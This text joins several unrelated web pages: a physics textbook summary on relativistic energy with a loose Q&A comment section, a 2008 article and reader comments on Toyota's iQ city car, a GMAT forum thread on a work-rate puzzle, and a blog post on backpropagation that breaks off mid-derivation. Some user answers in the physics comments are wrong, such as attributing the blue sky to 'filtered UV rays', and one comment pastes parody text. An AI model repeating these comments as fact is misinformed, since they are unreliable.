• Total Energy is defined as: $E={\mathrm{\gamma mc}}^{2}$ , where $\gamma =\frac{1}{\sqrt{1-\frac{{v}^{2}}{{c}^{2}}}}$ .
• Rest energy is ${E}_{0}={\mathrm{mc}}^{2}$ , meaning that mass is a form of energy. If energy is stored in an object, its mass increases. Mass can be destroyed to release energy.
• We do not ordinarily notice the increase or decrease in mass of an object because the change in mass is so small for a large increase in energy.
• The relativistic work-energy theorem is ${W}_{\text{net}}=E-{E}_{0}=\gamma {\mathrm{mc}}^{2}-{\mathrm{mc}}^{2}=\left(\gamma -1\right){\mathrm{mc}}^{2}$ .
• Relativistically, ${W}_{\text{net}}={\text{KE}}_{\text{rel}}$ , where ${\text{KE}}_{\text{rel}}$ is the relativistic kinetic energy.
• Relativistic kinetic energy is ${\text{KE}}_{\text{rel}}=\left(\gamma -1\right){\mathrm{mc}}^{2}$ , where $\gamma =\frac{1}{\sqrt{1-\frac{{v}^{2}}{{c}^{2}}}}$ . At low velocities, relativistic kinetic energy reduces to classical kinetic energy.
• No object with mass can attain the speed of light because an infinite amount of work and an infinite amount of energy input is required to accelerate a mass to the speed of light.
• The equation ${E}^{2}=\left(\mathrm{pc}{\right)}^{2}+\left({\mathrm{mc}}^{2}{\right)}^{2}$ relates the relativistic total energy $E$ and the relativistic momentum $p$ . At extremely high velocities, the rest energy ${\mathrm{mc}}^{2}$ becomes negligible, and $E=\mathrm{pc}$ .
## Conceptual questions
How are the classical laws of conservation of energy and conservation of mass modified by modern relativity?
What happens to the mass of water in a pot when it cools, assuming no molecules escape or are added? Is this observable in practice? Explain.
Consider a thought experiment. You place an expanded balloon of air on weighing scales outside in the early morning. The balloon stays on the scales and you are able to measure changes in its mass. Does the mass of the balloon change as the day progresses? Discuss the difficulties in carrying out this experiment.
The mass of the fuel in a nuclear reactor decreases by an observable amount as it puts out energy. Is the same true for the coal and oxygen combined in a conventional power plant? If so, is this observable in practice for the coal and oxygen? Explain.
We know that the velocity of an object with mass has an upper limit of $c$ . Is there an upper limit on its momentum? Its energy? Explain.
Given the fact that light travels at $c$ , can it have mass? Explain.
If you use an Earth-based telescope to project a laser beam onto the Moon, you can move the spot across the Moon’s surface at a velocity greater than the speed of light. Does this violate modern relativity? (Note that light is being sent from the Earth to the Moon, not across the surface of the Moon.)
## Problems&Exercises
What is the rest energy of an electron, given its mass is $9\text{.}\text{11}×{\text{10}}^{-\text{31}}\phantom{\rule{0.25em}{0ex}}\text{kg}$ ? Give your answer in joules and MeV.
$8.20×{\text{10}}^{-\text{14}}\phantom{\rule{0.25em}{0ex}}\text{J}$
0.512 MeV
Find the rest energy in joules and MeV of a proton, given its mass is $1\text{.}\text{67}×{\text{10}}^{-\text{27}}\phantom{\rule{0.25em}{0ex}}\text{kg}$ .
If the rest energies of a proton and a neutron (the two constituents of nuclei) are 938.3 and 939.6 MeV respectively, what is the difference in their masses in kilograms?
$2\text{.}3×{\text{10}}^{-\text{30}}\phantom{\rule{0.25em}{0ex}}\text{kg}$
A few grains of table salt were put in a cup of cold water kept at constant temperature and left undisturbed. eventually all the water tasted salty. this is due to?
what is magnetism
physical phenomena arising from force caused by magnets
is the phenomenon of attracting magnetic substance like iron, cobalt etc.
Faith
what is heat
Heat is a form of energy where molecules move
saran
topic-- question
Salman
I know this is unrelated to physics, but how do I get the MCQs and essay to work. they arent clickable.
20cm3 of 1mol/dm3 solution of a monobasic acid HA and 20cm3 of 1mol/dm3 solution of NaOH are mixed in a calorimeter and a temperature rise of 274K is observed. If the heat capacity of the calorimeter is 160J/K, calculate the enthalpy of neutralization of the acid.(SHCw=4.2J/g/K) Formula. (ms*cs+C)*T
why is a body moving at a constant speed able to accelerate
20cm3 of 1mol/dm3 solution of a monobasic acid HA and 20cm3 of 1mol/dm3 solution of NaOH are mixed in a calorimeter and a temperature rise of 274K is observed. If the heat capacity of the calorimeter is 160J/K, calculate the enthalpy of neutralization of the acid.(SHCw=4.2J/g/K) Formula. (ms*cs+C)*T
Lilian
because it changes only direction and the speed is kept constant
Justice
Why is the sky blue...?
It's filtered light from the 2 forms of radiation emitted from the sun. It's mainly filtered UV rays. There's a theory titled Scatter Theory that covers this topic
Mike
A heating coil of resistance 30π is connected to a 240v supply for 5min to boil a quantity of water in a vessel of heat capacity 200jk. If the initial temperature of water is 20°c and it specific heat capacity is 4200jkgk calculate the mass of water in a vessel
A thin equi convex lens is placed on a horizontal plane mirror and a pin held 20 cm vertically above the lens concise in position with its own image the space between the undersurface of d lens and the mirror is filled with water (refractive index =1•33)and then to concise with d image d pin has to
Be raised until its distance from d lens is 27cm find d radius of curvature
Azummiri
what happens when a nuclear bomb and atom bomb bomb explode add the same time near each other
A monkey throws a coconut straight upwards from a coconut tree with a velocity of 10 ms-1. The coconut tree is 30 m high. Calculate the maximum height of the coconut from the top of the coconut tree? Can someone answer my question
v2 =u2 - 2gh 02 =10x10 - 2x9.8xh h = 100 ÷ 19.6 answer = 30 - h.
Ramonyai
why is the north side is always referring to n side of magnetic
who is a nurse
A nurse is a person who takes care of the sick
Bukola
a nurse is also like an assistant to the doctor
explain me wheatstone bridge
good app
samuel
Wheatstone bridge is an instrument used to measure an unknown electrical resistance by balancing two legs of a bridge circuit, one leg of which includes the unknown component.
MUHD
Rockwell Software is Rockwell Automation’s "Retro Encabulator". Now, basically the only new principle involved is that instead of power being generated by the relative motion of conductors and fluxes, it’s produced by the modial interaction of magneto-reluctance and capacitive diractance. The origin
Chip
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2019-12-09 21:09:18
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https://www.greencarcongress.com/2008/03/toyota-introduc.html
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## Toyota Introduces Production Version of iQ City Car, Small SUV Concept at Geneva Show
##### 04 March 2008
The new Toyota iQ.
Toyota is introducing the production version of its iQ city car at the Geneva Motor Show. First shown as the Concept Car iQ at last year’s Frankfurt Motor Show, the iQ will go into production in late 2008. Toyota is also using the Geneva show to showcase a new small SUV concept—the Urban Cruiser—aimed at “the urban all-roader market”.
The new Toyota iQ measures 2,985mm in length and 1,500mm in height, and features a comparatively lengthy wheelbase of 2,000mm. Delivering a relatively spacious interior in such a compact car required six interlinking engineering innovations.
The six space-saving technologies in the iQ. Click to enlarge.
The six space-saving engineering innovations are as follows:
• Newly developed differential. A newly developed differential allows the iQ to be built with short front overhangs, which result in a gain of more than 100mm of additional length inside the passenger cabin area when compared to the B-segment Yaris. As a result, the under-hood area is made more compact; the front wheels can be placed at the very corners of the car, which drastically shortens the front overhang; and the passenger compartment can be increased.
• Flat under-floor fuel tank with rear-angled shock absorbers. The design of the flat under-floor fuel tank has allowed the development of shorter rear overhangs, which contribute to the reduction of the car’s overall length. Historically, a flat tank was considered difficult to engineer successfully because of the variance in fuel surface levels depending on the angle of the car. However, Toyota’s efforts to downsize and find the optimal placement of functional parts resulted in a flat fuel tank that creates significant space savings.
• Smaller heater/air conditioning unit. Toyota engineers managed to significantly reduce the size of the heater/air conditioning unit without sacrificing performance output. As a result of the size reduction the passenger-side area of the asymmetric dashboard can be moved forward and towards the windscreen base freeing up additional cabin space.
• Asymmetric dashboard design and sliding seat configuration. The iQ’s asymmetric dashboard was designed to open up the passenger area. The pushed-forward and step-like structure of the dashboard provides sufficient space for the front passenger when the seat is set at its most forward position while comfortably accommodating an adult in the rear seat. Combined with shoulder-to-shoulder distance between driver and passenger of a similar volume to a C-segment vehicle, the unique 3+1 seating configuration creates enough room for three adults and, in addition, either a child or luggage behind the driver.
• Center take-off steering gear. Toyota has employed a center take-off steering gear and positioned it higher in the engine bay. The gear, engine and differential could then be repositioned creating the iQ’s size-reduced front overhang.
• Slim seat design. The slimness of the iQ seat backs release a further 40mm of rear passenger room at knee height so that rear passengers can sit more comfortably.
The iQ will offer a choice of two gasoline or one diesel engines. These engines—along with the compact design, low weight, and aerodynamic shape of the iQ—will contribute to low fuel consumption and low emissions of CO2, expected to start at around 100g/km.
The new Urban Cruiser concept.
The Toyota Urban Cruiser is the design preview of the production model that will be introduced in the first half of 2009.
The small-SUV market segment has essentially doubled in size since 2002, according to Toyota. The Urban Cruiser is expected to come in with CO2 emissions below 140 g/km.
Wow! I thought it was a 2-seater (since it was earlier compared to a Smart FourTwo).
Now if only Toyota could go steal some engineers from Mazda or Lotus for handling...
I'll buy an Urban Cruiser with AWD and a Diesel.
The Urban Cruiser looks like a smaller RAV4, the way that car originally started out.
Where are all these hybrid cars that Toyota promised , I seem
to remember the wording was " a hybrid version of every model
by 2010 " , well we are less than two years from that and all we
have is a 4 year old PRIUS ! no PHEV either , no I come to mention
it !
Its starting to look like "green" toyota is just the same as all the
other car manufacturers !
Ding Ding Ding Ding
andrew = winnar
Remember this from 2006, the 100 mpg Prius due for model year 2009. That's September, 6 months from now.
http://www.edmunds.com/insideline/do/News/articleId=109981
This is the sort of car that should be exempt from congestion charges - very very small ones.
Very nice. We can always use more room even in a small car. If they keep this up, the inside will be bigger than the outside!
100g/km of CO2 emission will give them the bragging right again.
When will we see some cars like this Toyota? I think they are ignoring the US market since all the growth is in developing countries.
At the same time Toyota should realize the reason Scion sales are bad after the redesign has alot to do with the oversized engines they dropped in them.
Where are the American small cars? The Yaris and Scion models are huge. Can't we get something smaller (not necessarily cheaper) like this.
If its because of safety concerns just make a bumper like a spike at the level it would hit other cars or SUVs. Seems kill your neighbor has been American car companies view toward safety. A Hummer is no different than a few spikes off of a small car. We can call them "Freedom Spikes."
If you get hit by these monstrosities watch out US government and car companies. One day someone is finally going to bring in some lawyers and put these big ass vehicles where they belong, private roads.
Great- now offer the iQ in the USA. The (not-so)Smart Fourtwo is a joke! Room for only two occupants, 0-60mph in 14 seconds, and no better average fuel economy than a quicker, more useful 4-door Yaris.
This iQ at least gives you the option of a small 3rd seat. Nice packaging.
The Urban Cruiser, on the other hand, looks just like the Scion Xd that's been on the US market since last fall. Nothing earth-shattering in terms of utility, or economy there.
If Toyota applies the 6 space-saving features of the iQ across their entire line-up they would have class-leading interior room and/or they could eliminate the need for their largest vehicles. Down-sizing is a good trend! When will the rest of the automakers catch on?
Well done Toyota!
Actually, it is an optional 4th seat (suitable for a child?).
I fear for a rear impact on this thing though. Spikes...haha, I like that; sure would keep all the tailgaters at bay.
WOW- I stand corrected: 3 seater with the option of a 4th small seat.
For comparison:
iQ vs. ForTwo
Length: 117.52" vs. 106.5"
Wheelbase: 78.74" vs. 73.5"
Height: 59.06" vs. 60.7"
So essentially an extra 11" in length bought 1+1/2 additional seats. Incredible packaging Toyota!!!
Looks like Toyota will use a similar 3cyl 1.0 engine as the ForTwo. Performance and economy will depend on keeping vehicle mass low.
Price it under $12k (to keep it under the Yaris) and you've got a sure winner in the US. Urban Cruiser = Scion XD. They are just trying to sell the car we already get in Europe. A nice thing about this car is that the design is near perfect for a conversion to BEV. *(Battery Electric Vehicle) Replace the flat gas tank with a battery pack, and the ICE with an Electric motor and wow, a great little BEV. Wow, an Urban SUV? Jesus W. Christ! I wonder who the marketing genius was who decided there was a need for such an abortion of a vehicle segment. But bravo on the design of the IQ. It should potentially have excellent handling with the way the wheels are pushed all the way to the corners. urban cruiser is a lifted xd,already available in Japan(ist) Comparing the Aygo 1.0l petrol 68bhp against the Smart Fortwo 71bhp 1.0l (US version ?) as well as the 61bhp versions: fuel consumption (l/100km combined), CO2 (g/km), mass (kg), price (euros) Aygo68: 4.6, 109, 840, 9000 Fortwo71: 4.7, 112, 750, 10600 Fortwo61: 4.7, 112, 750, 9500 http://www.vcacarfueldata.org.uk/search/vehicleDetails.asp?id=15170 http://www.vcacarfueldata.org.uk/search/vehicleDetails.asp?id=20088 http://www.vcacarfueldata.org.uk/search/vehicleDetails.asp?id=20087 If Toyota put the same 1.0l engine in the IQ as the Aygo, it should run circles around the Fortwo. The Aygo outdoes the Smart, despite weighing substantially more, at powers both above and below its 68bhp. Since the Aygo actually costs less than the Fortwo, you'd actually end up spending less to have 3 seats instead of 2 and better fuel economy... so it looks like the iq is a smart with 3+1 seats and a real engine and a more honest price....... Bob, I doubt having an optimum wheel setup (at the corners) will make up for the compromises on suspension setup Toyota typically makes. compare corolla vs civic, focus, mazda3 or lancer in stopping distance, roadholding, slalom and track times. compare camry vs accord, fusion, or mazda6 for the same. Patrick, good point. I have test driven all of those cars except for the Lancer, and I have to say that the Mazda3 had the best ride by far, and the Corolla was the worst, although I was underwhelmed with the handling of the Civic compared to previous generations I've driven. I'm not very impressed with my Prius' handling, either, although I always assumed that this was due to its weight and excessively high center of gravity (a trait that seems to be shared by almost all new cars these days.) Things seem so much bigger when metrics are used. 40 mm looks so much bigger than 1 1/2 inches. Hey Joseph, did you actually READ the Edmunds link you posted? The link mentions that Toyota *reportedly* is developing a 100mpg Prius. KEY WORD being "reportedly". Don't blame Toyota, blame sloppy reporting for this. Toyota has never officially stated the 3rd gen Prius would achieve 100mpg. Will we see the Toyota iQ here in the USA? Given the likelihood of US$4.00/US gallon prices this summer, the fact the SMART ForTwo has a waiting list longer than one year here in the USA, and the fact Toyota wants to make the iQ pass stringent crash test certification, we could see it sold in the USA within the next 18 months, possibly as a "premium" city car under the Scion label. Can you say Scion iQ?
...step in the right direction, small car outside, big car inside with a "premium" like interior as well. I always wondered, why small economical cars had to have a cheaply designed interior looking like a cheap toy for three year olds.
Kael-Uwe & DieselHybrid:
Could you also compare with the new Fiat 500?
Interesting!
When will we see an EV or PHEV ver of the Toyota IQ?
Impressive as it is, it is just another petrol/diesal car. At least the Smart car is road testing an EV version of their car.
The gas tank in the floor worries me a little. It could be damaged on a rough road. Otherwise I'm really impressed with the iQ.
The comments to this entry are closed.
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2023-03-26 06:44:11
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# If 7 workers can build 7 cars in 7 days, then how many days would it
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If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 08:12
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If 7 workers can build 7 cars in 7 days, then how many days would it take 5 workers to build 5 cars?
(A) 1
(B) 5
(C) 7
(D) 25
(E) 35
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 18:43
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reatsaint wrote:
If 7 workers can build 7 cars in 7 days, then how many days would it take 5 workers to build 5 cars?
(A) 1 (B) 5(C) 7(D) 25(E) 35
An interesting thing in such questions is 7 workers and 7 cars. Makes me think of each worker working on his own single car and finishing it in 7 days. So 1 worker finishes 1 car in 7 days.
5 workers working on their own individual 5 cars will also take 7 days. 210 workers working on 210 cars will take 7 days too.
210 workers working on 420 cars will take 14 days (each worker makes 1 car in 7 days and then another in another 7 days)
and so on... Sometimes you can just reason it out too.
reatsaint wrote:
I was using a method similar to Fluke but made a calculation mistake, and got stuck. That method work easier for me.
Actually, both are using the same concept of variation. You can do it one step at a time or all together, whatever suits you. Just different ways of looking at the same thing.
Let me tell you how I think of the all together method.
7 workers - 7 cars - 7 days
5 workers - 5 cars - a days
No of days needed = 7 * (5/7) * (7/5)
You get this expression by thinking in the following way: Initially, you needed 7 days so that is the quantity that has to change so write "No of days needed = 7 *"
Just consider cars now. When you need to make only 5 cars (i.e. less cars) as compared to 7 cars, do you need more days or less? Less ofcourse so you multiply above by (5/7) (it is smaller than 1 so will decrease whatever it multiplies)
Now you have: "No of days needed = 7 * (5/7)"
Now just consider workers. If you have fewer workers (5 instead of 7), will you need more days to finish the work or less? More ofcourse so multiply by (7/5) (which is greater than 1)
Now you have: "No of days needed = 7 * (5/7) * (7/5) = 7 days"
On the same lines, try this:
4 people make 28 baskets in 4 days working 8 hrs every day. How many days will 8 people take to make 14 baskets working 2 hrs a day?
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 08:21
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reatsaint wrote:
If 7 workers can build 7 cars in 7 days, then how many days would it take 5 workers to build 5 cars?
(A) 1 (B) 5(C) 7(D) 25(E) 35
7 Worker - 7 cars - 7days
1 Worker- 7 cars - 7*7 days
1 Worker - 1 car - 7*7/7=7 days
1 Worker - 5 car - 7*5 days
5 Worker - 5 cars - 7*5/5 =7 days
Ans: "C"
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 08:25
2
3
7w-------7c------7days.
7w-------1c------1day
1w-------1c------7days
1w-------5c------7*5 days
5w-------5c------7*5/5 days= 7days.
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 08:27
Thanks Fluke and Jami !!
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 09:57
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any of such problem can be solved easily in the following way
Workers cars days
7 7 7
5 5 x
We have asked about how many days will require to complete the work
now days are inversely proportional to workers and direct proportional to the cars. When there is inverse proportion take number from the opposite line to X to numerator … and when there is direct proportion take number form the same line to X to numerator … and put other numbers to denominator. Also, take number that is above or below X to numerator or denominator respectively
Hence the equation will be X = 7*5*7 / 5*7 = 7
You can use this method when there are only two related quantities or 100 relaed quantities
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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26 Apr 2011, 10:09
vyassaptarashi wrote:
any of such problem can be solved easily in the following way
Workers cars days
7 7 7
5 5 x
We have asked about how many days will require to complete the work
now days are inversely proportional to workers and direct proportional to the cars. When there is inverse proportion take number from the opposite line to X to numerator … and when there is direct proportion take number form the same line to X to numerator … and put other numbers to denominator. Also, take number that is above or below X to numerator or denominator respectively
Hence the equation will be X = 7*5*7 / 5*7 = 7
You can use this method when there are only two related quantities or 100 relaed quantities
I was using a method similar to Fluke but made a calculation mistake, and got stuck. That method work easier for me.
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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27 Apr 2011, 00:33
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VeritasPrepKarishma wrote:
On the same lines, try this:
4 people make 28 baskets in 4 days working 8 hrs every day. How many days will 8 people take to make 14 baskets working 2 hrs a day?
I recall that I used this formula in 10th grade. Dont know if it is exact - pls verify
Man * Days / Work done = constant
or
Man * Hours / Workdone = constant
4 people * (4 * 8) hrs / 28 baskets = constant = 8 people * (2*D) hrs / 14 baskets
D = 4 days
Plus there is one more variation of this formula when efficiency of the worker comes into play -
Man * Days * efficiency / Work done = constant
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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27 Apr 2011, 02:07
7 (1car/xday) * 7 days = 7 cars
49/x=7
x=7
Therefore, rate per worker is 1car/7days.
5(1/7)(t)=5cars
t=(5)(7/5)
t=7days
Answer: 7 days to build 5 cars by 5 workers!
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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27 Apr 2011, 18:24
1
gmat1220 wrote:
VeritasPrepKarishma wrote:
On the same lines, try this:
4 people make 28 baskets in 4 days working 8 hrs every day. How many days will 8 people take to make 14 baskets working 2 hrs a day?
I recall that I used this formula in 10th grade. Dont know if it is exact - pls verify
Man * Days / Work done = constant
or
Man * Hours / Workdone = constant
4 people * (4 * 8) hrs / 28 baskets = constant = 8 people * (2*D) hrs / 14 baskets
D = 4 days
Plus there is one more variation of this formula when efficiency of the worker comes into play -
Man * Days * efficiency / Work done = constant
Yes, it is correct.
The formula is again nothing but application of variation.
You say, Man * Days / Work done = constant
It implies that 'Man' varies directly with 'Work done' which is obvious since if you need to do more work, you need more men to do it in the same time.
Also, 'Man' varies inversely with 'Days' which is again obvious since if you need to do the work in fewer days, you need more men (keeping work done the same)
The clubbing of more than two variables is just called 'joint variation'.
When you include efficiency, we see that 'man' varies inversely as 'efficiency' which makes sense too. If men are more efficient, you need fewer of them to finish the same work in same time.
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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11 Aug 2011, 06:38
7 workers --- 7 days --- 7cars
5 workers --- x days --- 5cars
x = 7*7*5/7*5 = 7 days
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If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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13 Jan 2016, 16:22
7 cars/7 days=1 car per day
1 car/7 workers= 1/7 car per worker per day
let d= number of days
(5)(1/7)(d)=5
d=7 days
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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20 Jan 2016, 09:10
I made a silly mistake cause I saw was a low level question and thought "solve it quickly and move on"....and this was the reason why I picked B.
Then, I thought of it and solved in this way:
If 7 workers can build 7 cars in 7 days, also 1 worker can build 7 cars in 49 days and the same worker can build 1 car in 7 days.
Multiply it by 5 and you get that 5 workers can build 5 cars in 7 days.
I wanted to use the work=rate*time formula but I had some difficulty. Can someone show me how to solve the problem with that formula please?
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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20 Jan 2016, 23:28
2
pepo wrote:
I made a silly mistake cause I saw was a low level question and thought "solve it quickly and move on"....and this was the reason why I picked B.
Then, I thought of it and solved in this way:
If 7 workers can build 7 cars in 7 days, also 1 worker can build 7 cars in 49 days and the same worker can build 1 car in 7 days.
Multiply it by 5 and you get that 5 workers can build 5 cars in 7 days.
I wanted to use the work=rate*time formula but I had some difficulty. Can someone show me how to solve the problem with that formula please?
Yes, you can use that formula too but you have to be careful about the number of workers.
In 7 days, 7 cars are made (by 7 workers.)
So Work = 7 cars
Time = 7 days
7 cars = Rate * 7 days
Rate = 1 car/day
(assuming 7 workers are working on it)
If 5 workers are working on it, rate = (1/7)*5 = 5/7 car/day
Time = Work/Rate
Time = 5 cars/(5/7) car/day = 7 days
I suggest you to look at the variation approach. It will be easier.
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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21 Jan 2016, 09:34
VeritasPrepKarishma wrote:
pepo wrote:
I made a silly mistake cause I saw was a low level question and thought "solve it quickly and move on"....and this was the reason why I picked B.
Then, I thought of it and solved in this way:
If 7 workers can build 7 cars in 7 days, also 1 worker can build 7 cars in 49 days and the same worker can build 1 car in 7 days.
Multiply it by 5 and you get that 5 workers can build 5 cars in 7 days.
I wanted to use the work=rate*time formula but I had some difficulty. Can someone show me how to solve the problem with that formula please?
Yes, you can use that formula too but you have to be careful about the number of workers.
In 7 days, 7 cars are made (by 7 workers.)
So Work = 7 cars
Time = 7 days
7 cars = Rate * 7 days
Rate = 1 car/day
(assuming 7 workers are working on it)
If 5 workers are working on it, rate = (1/7)*5 = 5/7 car/day
Time = Work/Rate
Time = 5 cars/(5/7) car/day = 7 days
I suggest you to look at the variation approach. It will be easier.
Thanks for your help.
What is the variation approach?
Thanks again!
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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21 Jan 2016, 20:46
1
pepo wrote:
VeritasPrepKarishma wrote:
pepo wrote:
I made a silly mistake cause I saw was a low level question and thought "solve it quickly and move on"....and this was the reason why I picked B.
Then, I thought of it and solved in this way:
If 7 workers can build 7 cars in 7 days, also 1 worker can build 7 cars in 49 days and the same worker can build 1 car in 7 days.
Multiply it by 5 and you get that 5 workers can build 5 cars in 7 days.
I wanted to use the work=rate*time formula but I had some difficulty. Can someone show me how to solve the problem with that formula please?
Yes, you can use that formula too but you have to be careful about the number of workers.
In 7 days, 7 cars are made (by 7 workers.)
So Work = 7 cars
Time = 7 days
7 cars = Rate * 7 days
Rate = 1 car/day
(assuming 7 workers are working on it)
If 5 workers are working on it, rate = (1/7)*5 = 5/7 car/day
Time = Work/Rate
Time = 5 cars/(5/7) car/day = 7 days
I suggest you to look at the variation approach. It will be easier.
Thanks for your help.
What is the variation approach?
Thanks again!
Check out this post: http://www.veritasprep.com/blog/2015/10 ... made-easy/
Understand the methodology (shown in the first question of the post) and use the same for this question. It will get solved in seconds.
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Re: If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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14 Feb 2016, 03:30
Here is my approach,
No. of workers(w) is directly proportional to no. of cars(c)
No. of days(d) is also directly proportional to no. of cars(c)
But no. of workers(w) is inversely proportional to no. of days(d)
So simply put down, the logic becomes d * w = c
Per worker effort is 1/7th a car per day
Finally d * 5(1/7) = 5, this gives the no. of days for 5 workers to make 5 cars as 7 days.
Hope this helps
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If 7 workers can build 7 cars in 7 days, then how many days would it [#permalink]
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18 Mar 2018, 08:38
1
reatsaint wrote:
If 7 workers can build 7 cars in 7 days, then how many days would it take 5 workers to build 5 cars?
(A) 1
(B) 5
(C) 7
(D) 25
(E) 35
1) Find the rate of one individual worker from the first scenario
(Number of Workers) * R * T = W, so
$$R = \frac{W}{(No.OfWorkers)*(T)}$$
$$R= \frac{7}{(7*7)}=\frac{1}{7}$$
2) At that rate, how many days will it take 5 workers (# of workers) to build 5 cars (Work)?
(Number of Workers) * R * T = W, so
$$Time= \frac{W}{(No.OfWorkers)*(R)}$$
$$T = \frac{5}{5*\frac{1}{7}}=\frac{5}{\frac{5}{7}}= 5*\frac{7}{5}=7$$ days
Answer C
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https://anthony-tan.com/The-Backpropagation-Algorithm/
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## Preliminaries#
1. An Introduction to Backpropagation and Multilayer Perceptrons
2. Culculus 1,2
3. Linear algebra
4. Jacobian matrix
## Architecture and Notations1#
We have seen a three-layer network is flexible in approximating functions(An Introduction to Backpropagation and Multilayer Perceptrons). If we had a more-than-three-layer network, it could be used to approximate any functions as accurately as we want. However, another trouble that came to us is the learning rules. This problem almost killed neural networks in the 1970s. Until the backpropagation(BP for short) algorithm was found that it is an efficient algorithm in training multiple layers networks.
A 3-layer network is also used in this post for it is the simplest multiple-layer network whose abbreviated notation is:
and a more short way to represent its architecture is:
$R - S^1 - S^2 - S^3 \tag{1}$
For the three-layer network has only three layers that are not too large to denote mathematically, then it can be written as:
$\mathbf{a}=f^3(W^3\cdot f^2(W^2\cdot f^1(W^1\cdot \mathbf{p}+\mathbf{b}^1)+\mathbf{b}^2)+\mathbf{b}^3)\tag{2}$
However, this mathematical equation is too complex to construct when we have a 10-layer network or a 100-layer network. Then we can use some short equations that describe the whole operation of the $$M$$-layer network:
$a^{m+1}=f^{m+1}(W^{m+1}\mathbf{a}^{m}+\mathbf{b}^{m+1})\tag{3}$
for $$m = 1, 2, 3, \cdots M-1$$. $$M$$ is the number of layers in the neural networks. And: - $$\mathbf{a}^0=\mathbf{p}$$ is its input - $$\mathbf{a}=\mathbf{a}^M$$ is its output
## Performance Index#
We have had a network now. Then we need to definite a performance index for this 3-layer network.
MSE is used here as the performance index the same as what the LMS algorithm did in post ‘Widrow-Hoff Learning’. And the training set is:
$\{\mathbf{p}_1,\mathbf{t}_1\},\{\mathbf{p}_2,\mathbf{t}_2\},\cdots \{\mathbf{p}_Q,\mathbf{t}_Q\}\tag{4}$
where $$\mathbf{p}_i$$ is the input and $$\mathbf{t}_i$$ is the corresponding output(target).
BP is the generation of LMS algorithms, and both of them try to minimize the mean square error. And what we finally get is a trained neural network that fits the training set. But this model may not be guaranteed to fit the original task where the training set is generated. So a good training set that can represent the original task accurately is necessary.
To make it easier to understand from the steepest descent algorithm to LMS and BP, we convert the weights and bias in the neural network form $$w$$ and $$b$$ into a vector $$\mathbf{x}$$. Then the performance index is:
$F(\mathbf{x})=\mathbb E[e^2]=\mathbb E[(t-a)^2]\tag{5}$
When the network has multiple outputs this generalizes to:
$F(\mathbf{x})=\mathbb E[\mathbf{e}^T\mathbf{e}]=\mathbb E[(\mathbf{t}-\mathbf{a})^T(\mathbf{t}-\mathbf{a})]\tag{6}$
During an iteration, in the LMS algorithm, MSE(mean square error) is approximated by SE(square error):
$\hat{F}(\mathbf{x})=(\mathbf{t}-\mathbf{a})^T(\mathbf{t}-\mathbf{a})=\mathbf{e}^T\mathbf{e}\tag{7}$
where the expectations are replaced by the calculation of current input, output, and target.
Reviewing the ‘steepest descent algorithm’, the gradient descent algorithm of approximate MSE is also called stochastic gradient descent:
\begin{aligned} w^m_{i,j}(k+1)&=w^m_{i,j}(k)-\alpha \frac{\partial \hat{F}}{\partial w^m_{i,j}}\\ b^m_{i}(k+1)&=b^m_{i}(k)-\alpha \frac{\partial \hat{F}}{\partial b^m_{i}} \end{aligned}\tag{8}
where $$\alpha$$ is the learning rate.
However, the steep descent algorithm seems can not work on a multiple-layer network for we can not calculate the partial derivative in the hidden layer and input layer directly.
We were inspired by another mathematical tool - the chain rule.
## The Chain Rule#
### Calculus#
when $$f$$ is explicit function of $$\mathbf{n}$$ and $$\mathbf{n}$$ is a explicit function of $$\mathbf{w}$$, we can calculate the partial derivative $$\frac{\partial f}{\partial w}$$ by:
$\frac{\partial f}{\partial w}=\frac{\partial f}{\partial n}\frac{\partial n}{\partial w}\tag{9}$
The whole process looks like a chain. And let’s look at a simple example: when we have $$f(n)=e^n$$ and $$n=2w$$, we have $$f(n(w))=e^{2w}$$. We can easily calculate the direvative $$\frac{\partial f}{\partial w}=\frac{\partial e^2w}{\partial w}=2e^{2w}$$. And when chain rule is used, we have:
$\frac{\partial f(n(w))}{\partial w}=\frac{\partial e^n}{\partial n}\frac{\partial n}{\partial w}=\frac{\partial e^n}{\partial n}\frac{\partial 2w}{\partial w}=e^n\cdot 2=2e^{2w}\tag{10}$
that is the same as what we get directly.
When the chain rule is used in the second part on the right of equation (8), we get the way to calculate the derivative of the weight of hidden layers:
\begin{aligned} \frac{\partial \hat{F}}{\partial w^m_{i,j}}&=\frac{\partial \hat{F}}{\partial n^m_i}\cdot \frac{\partial n^m_i}{\partial w^m_{i,j}}\\ \frac{\partial \hat{F}}{\partial b^m_{i}}&=\frac{\partial \hat{F}}{\partial n^m_i}\cdot \frac{\partial n^m_i}{\partial b^m_{i}} \end{aligned}\tag{11}
from the abbreviated notation, we know that $$n^m_i=\sum^{S^{m-1}}_{j=1}w^m_{i,j}a^{m-1}_{j}+b^m_i$$. Then equation (11) can be writen as:
